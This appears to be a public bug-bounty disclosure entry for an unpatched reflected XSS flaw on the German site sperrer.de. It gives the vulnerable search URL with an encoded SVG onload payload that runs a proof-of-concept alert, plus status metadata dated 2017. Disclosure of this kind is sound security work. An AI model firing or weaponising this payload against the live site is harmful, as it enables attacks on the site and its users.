sperrer.de XSS vulnerability

Vulnerable URL: http://www.sperrer.de/suche?s=%22%3Eblub%3CsvG%2Fonload%3Dalert%2FOPENBUGBOUNTY%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6128157 VIP website status:| No...